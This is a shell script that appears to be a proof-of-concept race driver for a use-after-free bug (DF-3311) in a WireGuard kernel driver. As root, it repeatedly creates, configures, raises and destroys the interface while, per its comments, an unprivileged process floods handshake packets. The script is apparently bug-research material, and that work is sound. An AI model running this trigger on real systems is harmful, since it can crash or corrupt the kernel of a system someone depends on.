DF-3311 / raceA.sh
#!/bin/sh # DF-3311 race driver: root churns create/config/up/destroy on wg0 while # an unprivileged "network peer" (nobody) floods handshake-shaped UDP. # The race: wg_down() cancels+drains sc_handshake_task and purges the # handshake queue while the UDP sockets are still open; an upcall that is # already inside wg_input() can enqueue a handshake packet and re-enqueue # the task AFTER the cancel loop. wg_clone_destroy() then frees the task # arrays, deinits (lockuninit) the queues, and kfree()s the softc - the # late task / late enqueue operates on freed memory. # # usage (as root): ./raceA.sh <iterations> ROOT=$(dirname "$0") PORT=51820 PRIV=77076d0a7318a57d3c16c17251b26645df4c2f87ebc0992ab177fba51db92c2a # peer pub = RFC7748 Bob pub (any 32 bytes work; MACs never validated in # the enqueue path) PUB=de9edb7d7b7dc1b4d35b61c2ece435373f8343c85b78674dadfc7e146f882b4f ITERS=${1:-2000} echo "raceA: $ITERS iterations, port $PORT" i=0 while [ $i -lt $ITERS ]; do ifconfig wg0 create 2>/dev/null if [ $? -eq 0 ]; then $ROOT/wgtool set wg0 $PRIV $PORT >/dev/null 2>&1 # 4 peers: more peers => wg_down()/destroy does more # per-peer drain/callout work => wider race window p=0 while [ $p -lt 4 ]; do $ROOT/wgtool peer wg0 $PUB 127.0.0.1 $((20000+p)) 24 1 \ >/dev/null 2>&1 p=$((p+1)) done ifconfig wg0 up 2>/dev/null ifconfig wg0 10.7.0.1/24 up 2>/dev/null ifconfig wg0 destroy 2>/dev/null fi i=$((i+1)) [ $((i % 200)) -eq 0 ] && echo "iter $i" done echo "raceA done" |